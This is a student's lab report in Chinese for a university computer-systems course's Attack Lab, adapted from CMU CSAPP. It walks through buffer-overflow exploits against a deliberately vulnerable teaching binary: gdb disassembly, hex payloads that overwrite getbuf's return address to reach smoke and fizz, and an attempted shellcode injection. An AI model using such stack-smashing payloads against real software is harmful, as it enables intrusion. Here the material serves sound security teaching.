CSAPP——Attack Lab Report

Attack Lab

姓名:张**

学号:S********7

实验介绍

本报告为中科大研究生课程计算机系统Lab3——Attack Lab(参考CMU CSAPP Lab1 )的实验报告,主要记录实验 3 的攻击过程以及主要思考。通过本实验能过更加深刻的理解栈帧概念,机器及程序的控制与数据管理,并掌握利用栈溢出进行攻击以及汇编代码注入的能力。

实验环境

Lenovo Laptop

  • CPU: AMD Ryzen 5 2.10GHz
  • RAM: 16GB
  • OS: Ubuntu 20.04

实验详解

Level 0: Candle

针对 getbuf 反汇编

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x08048fe0 <+0>: push %ebp
0x08048fe1 <+1>: mov %esp,%ebp
0x08048fe3 <+3>: sub $0x18,%esp
0x08048fe6 <+6>: lea -0xc(%ebp),%eax
0x08048fe9 <+9>: mov %eax,(%esp)
0x08048fec <+12>: call 0x8048e60 <Gets>
0x08048ff1 <+17>: mov $0x1,%eax
0x08048ff6 <+22>: leave
0x08048ff7 <+23>: ret
End of assembler dump.

smoke函数地址0x8048e20,。GDB 调试发现,原本的 getbuf 返回地址存放在栈0xffffb54c。压栈存入%ebp栈指针为0xffffb5480x08048fe3 <getbuf+3>,分配栈空间 24 个字节,栈指针为0xffffb530。缓冲区起始地址打印:

1
2
(gdb) x/s $ebp-0xc
0xffffb53c: ""

0xffffb53c覆盖到0xffffb54c,需要先填充 10 字节字符串内容,然后填充20,8e,04,08(小端机器),如果是 64 位机器则需要继续覆盖后面为 0.

所以我们需要构造字符串十六进制表示:

1
2
3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
20 8e 04 08 00 00 00 00

./sendstring <exploit.txt> exploit-test.txt 使用工具构造输入。

实验结果:

Level 1: Sparker

和 Level 0 要求类似,这次要求返回到fizz函数并传入参数,反汇编结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) disas fizz
Dump of assembler code for function fizz:
0x08048dc0 <+0>: push %ebp
0x08048dc1 <+1>: mov %esp,%ebp
0x08048dc3 <+3>: push %ebx
0x08048dc4 <+4>: sub $0x14,%esp
0x08048dc7 <+7>: mov 0x8(%ebp),%ebx
0x08048dca <+10>: movl $0x1,(%esp)
0x08048dd1 <+17>: call 0x80489a0 <entry_check>
0x08048dd6 <+22>: cmp 0x804a1cc,%ebx
0x08048ddc <+28>: je 0x8048e00 <fizz+64>
0x08048dde <+30>: mov %ebx,0x4(%esp)
0x08048de2 <+34>: movl $0x8049898,(%esp)
0x08048de9 <+41>: call 0x8048764 <printf@plt>
0x08048dee <+46>: movl $0x0,(%esp)
0x08048df5 <+53>: call 0x80487a4 <exit@plt>
0x08048dfa <+58>: lea 0x0(%esi),%esi
0x08048e00 <+64>: mov %ebx,0x4(%esp)
0x08048e04 <+68>: movl $0x8049a29,(%esp)
0x08048e0b <+75>: call 0x8048764 <printf@plt>
0x08048e10 <+80>: movl $0x1,(%esp)
0x08048e17 <+87>: call 0x8048ae0 <validate>
0x08048e1c <+92>: jmp 0x8048dee <fizz+46>
End of assembler dump.

阅读fizz的反汇编可知,压入调用者旧%ebp,该位置也为覆盖的返回地址,此时应该为 fizz 的起始地址,%ebp+4存放的是正常调用 fizz 的返回地址,而参数的地址应该为%ebp+0x8的位置,我们只需要将自己的 cookie 放置在该位置即可。

所以我们需要构造字符串十六进制表示:

1
2
3
4
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 8d 04 08 00 00 00 00
cf f0 2e 2a 00 00 00 00

实验结果:

注:在 32 位的程序里面,我们可以往返回地址后面写上 cookie 作为参数,但是 64 位程序前 6 个参数采用寄存器传参,那么要成功攻击就必须修改 rdi 寄存器的值为 cookie

做了一些额外的尝试 汇编注入编写如下汇编代码

1
2
3
4
5
.code32

mov $0x2a2ef0cf, %edi
pushl $0x8048dc0
ret

运行gcc -m32 -c exploit-sparkler.s,以及objdump -d exploit-sparkler.o得到:

1
2
3
4
00000000 <.text>:
0: bf cf f0 2e 2a mov $0x2a2ef0cf,%edi
5: 68 c0 8d 04 08 push $0x8048dc0
a: c3 ret

寻找栈指针,之前 Lab 0 已查看过,原本的 getbuf 返回地址存放在栈0xffffb54c,压栈存入%ebp栈指针为0xffffb548

构造

1
2
3
bf cf f0 2e 2a 68 c0 8d
04 08 c3 00 00 00 00 00
3c b5 ff ff

实验结果

从实验结果看,尝试的注入成功,也跳转到了构造的指令处,但是执行会报段错位(应该是 IA32 和 x84-64 的一些区别)

本实验完成的实验结果见上面栈填充的结果图